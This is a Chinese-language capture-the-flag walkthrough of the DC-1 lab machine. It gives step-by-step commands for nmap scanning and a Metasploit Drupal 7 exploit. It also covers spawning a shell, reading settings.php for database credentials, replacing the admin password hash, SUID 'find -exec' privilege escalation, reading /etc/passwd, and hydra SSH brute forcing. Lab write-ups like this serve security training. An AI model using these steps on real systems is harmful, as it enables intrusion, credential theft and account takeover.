DC-1通关详解
步骤一:查询虚拟机IP地址
步骤二:信息收集:寻找靶机真实IP
nmap -sP 1XXX.XXX.XXX.XXX/24
扫描网段中有哪些主机在线,使用-sP参数,不扫描端口,只扫描(存活主机)。
本质上是Ping扫描,能Ping同有回包,就判定主机在线。
步骤三:信息收集:探端口及服务
nmap -A -P- -V192.168.174.129
-A综合性扫描
-V冗余模式。推荐这个选项,它会给出扫描过程中的详细信息
发现了22开放端口,开放了ssh服务,OpenSSH 6.0p1
发现了80开放端口,开放了http服务,Apache httpd 2.2.22 Drupal7
发现了111开放端口,开放了rpcbind服务
步骤四:访问Web站点
发现是一个电信的drupal服务,根据nmap结果可得知当前运行的是Drupal 7的CMS。
步骤五:利用MSF渗透
典型的drupal,可以用纯kali渗透即可,启动Metersploit MSF存在drupal模块,尝试使用msf渗透。
- MSF简单命令介绍
Msfconsole 进入MSF控制台
search 搜索相应的模块
use 对应模块
show options 查看信息
set RHOST 远程主机ip
run 攻击
- 搜索Drupal 7的漏洞可以利用的漏洞很多
searchsploit drupal 7
- 进入MSF控制台搜索drupal模块
进入MSF控制台 msfconsole
搜索drupal模块
search Drupal
- 选择模块进行设置(用2018的测试)
- 设置靶机ip运行msf
- 进入shell
- 执行Whoami
发现是www-data权限
8.进入home目录,发现flag4.txt文件,提示需要提升文件
9.使用python反弹一个交互式shell
python -c "import pty;pty.spawn('/bin/bash')"
- 发现了flag1文件
查看www目录文件,发现1.txt文件,打开发现提示信息,内容寻找站点的配置文件
cd /var/www
- 发现flag2
- Drupal的默认文件为
/var/www/sites/default/settings.php
查看文件内容
cat /var/www/sites/default/settings.php
发现了flag2和数据库的账号和密码
flag2提示,提升权限为root来查看敏感文件
我们先进入数据库查看
mysql -u dbuser -p
查看数据库,切换到drupaldb数据库
查看查找默认的Drupal user表
select * from users;
发现admin信息
置换drupal密码
进入www目录
quit;
站点路径下执行
php scripts/password-hash.sh 新密码
然后进入数据库中把密码字段进行替换
进入mysql,输入密码,切换到drupaldb数据库
mysql -u dbuser -pR0ck3t
use drupaldb
将pass字段进行替换
12.登录站点
访问站点
进行登录,密码是之前我们自己替换的,账号是admin
admin
123
成功登录
13.发现flag3
登陆战点之后,随便翻一番,发现flag3,点击flag3进入,发现提示信息
Special PERMS will help FIND the passwd - but you'll need to -exec that command to work out how to get what's in the shadow.
大致意思是提权并提示 -exec,想到suid提权 find 命令
使用命令查看 suid 权限的可执行二进制程序
find / -perm -4000 2>/dev/null
发现find命令
使用命令测试,发现为root权限
touch 123
ls
find / -name 123 -exec "whoami" \;
14.发现flag4
此时我们查看 /etc/passwd 文件,发现存在 flag4 用户,我们也可以使用 hydra 进行爆破
cat /etc/passwd
可以以得到有一个用户名为flag4
使用kali中hydra + john 暴力破解
进入john目录cd /usr/share/john
hydra -l flag4 -P password.lst ssh://192.168.174.129
根据以上步骤,则实验完成!